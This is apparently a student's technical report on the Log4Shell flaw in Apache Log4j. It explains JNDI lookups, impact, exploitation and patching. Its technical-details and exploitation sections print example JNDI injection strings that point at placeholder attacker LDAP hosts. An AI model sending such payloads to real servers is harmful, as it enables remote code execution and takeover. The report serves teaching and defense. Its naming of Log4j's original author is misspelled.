**Technical Report: Log4 Vulnerability**

**(CVE-2021-44228)**

**Author: Vineeth M**

**Date: September 16, 2025**

**Introduction**

Log4Shell is a critical vulnerability discovered in the Apache Log4j logging library in **November 2021**. Log4j is widely used in Java applications to record system events, making the impact of this flaw extremely large. The vulnerability allows attackers to perform **Remote Code Execution (RCE)**, which means hackers can run their own commands on the target system. In simple terms, an unpatched system with Log4j can be taken over completely, giving hackers full control. Because Log4j is used in millions of servers, applications, and devices, Log4Shell quickly became one of the most severe cybersecurity threats in recent years.

**Background**

Log4j is a free and open-source tool that helps software developers keep records of what happens inside their programs. This is called “logging.” It can also record information that comes from users. Log4j is used a lot in Java programs, especially in big company software.

The first version of Log4j was written in **2001 by Zeki Gulsu**. Later, it became part of **Apache Logging Services**, which is a project managed by the **Apache Software Foundation**.

Tom Kellerman, a cybersecurity expert, once said that Apache software is very important because it connects many programs and computer systems together.

**Technical Details**

**­**Log4J is an open-source logging library maintained by the Apache Software Foundation. It is a tool that records information and events in a program, such as error messages or user inputs, and can be added to Java applications instead of building a logger from scratch. The Log4Shell vulnerability occurs because of how vulnerable versions of Log4J handle two features: **JNDI lookups** and **message lookup substitutions**. JNDI (Java Naming and Directory Interface) is a Java API that allows applications to fetch resources from external servers, and older versions of Log4J automatically execute any code retrieved this way. Message lookup substitution allows variables to be sent to Log4J inside log messages using the ${prefix:name} syntax. Log4J does not treat these as plain text; it resolves them as commands, which can be exploited. An attacker can send a specially crafted message, such as ${jndi:ldap://myevilwebsite.biz/maliciouscode}, and when Log4J processes it, it performs a JNDI lookup, contacts the attacker’s server, downloads the object, and executes the malicious Java code. This allows the attacker to run arbitrary commands on the system, often leading to full compromise. The vulnerability exists because the combination of JNDI lookups and message substitution was unsafe—each feature alone is harmless, but together they give attackers the ability to execute code remotely.

**Imapact**

The impact of Log4Shell is extremely severe because it allows attackers to execute code remotely on vulnerable systems. Since Log4J is widely used in millions of applications and servers, a large number of systems were exposed to risk. Attackers could steal sensitive information, install malware or ransomware, and gain full control over affected servers and networks. The exploit can be carried out remotely, without any physical access, making it easy for attackers to target systems worldwide. Because of its scale and potential damage, Log4Shell is considered one of the most critical cybersecurity vulnerabilities in recent years.

**Exploitation**

First, the attacker identifies parts of the application where user input is logged, such as HTTP headers, cookies, or form fields. They may send harmless test data to see which inputs appear in the logs. Once they confirm that their input is recorded, they send a malicious JNDI string, for example ${jndi:ldap://attacker-server/malicious-class}. Log4J processes this input, performs a JNDI lookup, connects to the attacker’s server, retrieves the Java class, and executes it. This allows the attacker to perform **Remote Code Execution (RCE)**, run arbitrary commands, and potentially gain full control over the affected system.

**Mitigation Strategies**

To protect against Log4Shell, both **vendors** and **organizations** must take immediate action. Vendors are strongly encouraged to identify all products that use Log4j, update them to the latest patched versions, and inform users about the vulnerabilities. For Java 8 or later, Log4j should be upgraded to version **2.17.0 or newer**, and for Java 7, to version **2.12.3**. Vendors should make sure update instructions reach users widely and clearly, avoiding paywalls or hidden notifications.

Organizations with IT, cloud, or operational technology (OT/ICS) assets must first **identify all vulnerable systems**. This includes making an inventory of all assets using Log4j, regardless of operating system, function, or location. The inventory should include software versions, last update timestamps, user accounts with privileges, and asset location in the network. After identifying vulnerable assets, organizations should patch them immediately using the latest Log4j updates and monitor their systems for signs of compromise.Following these steps reduces the risk of exploitation and helps organizations respond quickly to potential attacks.

**Conclusion**

Log4Shell (CVE-2021-44228) is a **critical vulnerability** in the widely used Log4j library that allows attackers to run code remotely and take control of affected systems. It became one of the most serious cybersecurity threats because Log4j is used in millions of applications and servers worldwide. The vulnerability occurs due to the combination of **JNDI lookups** and **message lookup substitution**, which attackers can exploit through user input that is logged by the system. Its impact can include data theft, malware installation, and full system compromise. To protect against Log4Shell, organizations must **identify vulnerable systems, apply patches immediately, and monitor their systems** for suspicious activity. Following these steps helps reduce risk and ensures a faster response to potential attacks, highlighting the importance of keeping software up to date and maintaining strong security practices.